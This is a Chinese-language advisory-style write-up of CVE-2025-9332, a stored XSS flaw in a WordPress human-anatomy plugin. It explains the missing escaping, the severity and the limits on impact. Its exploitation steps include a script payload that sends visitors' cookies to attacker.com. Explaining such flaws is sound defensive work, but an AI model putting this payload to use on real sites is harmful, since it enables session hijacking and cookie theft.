CVE-2025-9332CVE-2025-9332是WordPress的"Interactive Human Anatomy with Clickable Body Parts"插件中存在的一个存储型跨站脚本(Stored XSS)安全漏洞。该漏洞由WordFence安全团队的安全研究员发现,并于2025年10月3日公开披露。该插件的所有版本直至2.6(包括2.6版本)均受此漏洞影响。
该漏洞的根本原因在于插件的管理员设置功能中缺乏充分的输入过滤和输出转义机制。具体而言,当管理员通过插件的配置界面输入数据时,这些输入未经适当的清理就被存储到数据库中,随后在页面渲染时直接输出到浏览器,从而导致恶意脚本能够被执行。
根据CVSS 3.1评分体系,该漏洞的评分为5.5分,属于中等严重级别。攻击者需要拥有管理员级别或更高级别的权限才能利用此漏洞,因此该漏洞的利用门槛较高。然而,一旦成功利用,攻击者可以注入任意Web脚本,这些脚本将在其他用户访问被注入页面时自动执行,可能导致会话劫持、权限提升、恶意重定向等严重后果。
值得注意的是,该漏洞主要影响多站点(multi-site)安装以及已禁用unfiltered_html功能的WordPress站点。在标准WordPress单站点安装中,如果管理员拥有unfiltered_html权限,他们本身就可以执行HTML和JavaScript代码,因此该漏洞的影响相对有限。
该漏洞的技术原理涉及WordPress插件开发中常见的安全缺陷——存储型XSS。
**漏洞原理:**
1. **输入点**:插件的管理员设置页面提供了多个输入字段,允许管理员配置插件的各种参数,包括人体解剖图的相关设置。
2. **存储机制**:当管理员提交这些设置时,插件直接将用户输入的数据存储到WordPress的数据库中(通常是wp_options表),而没有对这些数据进行充分的过滤和清理。
3. **输出渲染**:当页面加载时,插件从数据库中读取这些设置数据并直接输出到HTML页面中,没有进行适当的输出转义(如使用esc_html()、esc_attr()、esc_url()等WordPress转义函数)。
4. **脚本执行**:由于缺乏输出转义,攻击者注入的恶意JavaScript代码会作为页面的一部分被浏览器解析和执行。
**利用方式:**
攻击者需要拥有管理员级别(administrator)或更高级别的权限才能利用此漏洞。利用步骤如下:
1. 攻击者登录WordPress管理后台
2. 导航到插件的设置页面
3. 在某个配置字段中注入恶意JavaScript代码,例如:`<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>`
4. 保存设置
5. 恶意脚本被存储到数据库中
6. 当其他用户(包括其他管理员)访问包含该插件的页面时,恶意脚本自动执行
**影响范围:**
- 仅影响多站点(multi-site)安装和已禁用unfiltered_html功能的站点
- 攻击者需要管理员权限
- 可窃取用户会话Cookie
- 可执行管理员权限的操作(如创建新管理员账户)
- 可进行钓鱼攻击或恶意重定向